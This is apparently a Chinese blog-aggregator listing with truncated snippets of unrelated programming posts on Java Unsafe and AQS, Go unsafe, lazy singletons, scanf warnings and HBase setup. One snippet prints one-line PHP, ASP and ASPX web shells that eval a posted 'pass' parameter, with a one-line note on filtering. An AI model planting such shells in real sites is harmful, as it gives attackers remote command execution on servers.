多线程下的懒汉单例模式(加synchronized关键字) 效率低,调用getInstance的方法时都需要同步 优化1 如果没有该实例,只需要在创建该实例的代码上添加synchronized代码块即可,若该实例已经存在,直接return该实例即可。 但是该种方式根本不能起到线程同步的作用,因为由于 ...
分类:
其他好文 时间:
2019-08-29 15:36:50
阅读次数:
103
php <?php @eval($_post['pass']);?> asp <%eval request ("pass")%> aspx <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%> 防御 代码中过滤。 ...
分类:
其他好文 时间:
2019-08-17 17:48:05
阅读次数:
112
我们在VS2017中如果使用C语言的scanf输入函数,编译的时候编译器会报error C4996: 'scanf': This function or variable may be unsafe. Consider using scanf_s instead. To disable deprec ...
分类:
其他好文 时间:
2019-08-17 17:40:24
阅读次数:
198
import ( "testing" "unsafe" ) type Users struct { Age int32 Name string } func TestUnsafe(t *testing.T) { var user Users var a byte /* func Alignof(x ... ...
分类:
其他好文 时间:
2019-08-13 22:44:30
阅读次数:
97
Unsafe是位于sun.misc包下的一个类,主要提供一些用于执行低级别、不安全操作的方法,如直接访问系统内存资源、自主管理内存资源等,这些方法在提升Java运行效率、增强Java语言底层资源操作能力方面起到了很大的作用。 但是,这个类的作者不希望我们使用它,因为我们虽然我们获取到了对底层的控制权 ...
分类:
编程语言 时间:
2019-08-11 14:52:01
阅读次数:
110
解决办法:项目名称-右键属性-C/C++ - 预处理器 -预处理器定义 - 右侧下拉框中选择“编辑”- 在第一个编辑框中添加_CRT_SECURE_NO_WARNINGS ...
分类:
其他好文 时间:
2019-08-09 15:37:15
阅读次数:
122
HBase搭建 Standalone HBase 1、搭建方式说明 2、搭建步骤 1、虚拟机中必须安装JDK,JDK的版本建议使用1.8(如果已经安装了,忽略此步骤) 2、在官网中下载HBase对应的安装包,此次课程使用2.0.5版本 3、理论上可以将HBase上传到任意一台虚拟机,但是因为HBas ...
分类:
其他好文 时间:
2019-08-03 10:57:34
阅读次数:
69
AQS 关于CLH大量使用到的Unsafe的CAS用法,头两个入参是this和xxOffset,翻了一下牛逼网友的给的代码大概是处理一个内存对齐的问题,整个操作中涉及到offset(dest)有两个部分 Unsafe不面向普通开发者,上来就检查你的类加载器是不是null(native) 先mark一 ...
分类:
其他好文 时间:
2019-07-28 10:59:29
阅读次数:
111
在翻阅AQS(AbstractQueuedSynchronizer)类的过程中,发现其进行原子操作的时候采用的是CAS。涉及的代码如下: 1: private static final Unsafe unsafe = Unsafe.getUnsafe(); 2: private static fin... ...
分类:
其他好文 时间:
2019-07-26 19:56:06
阅读次数:
843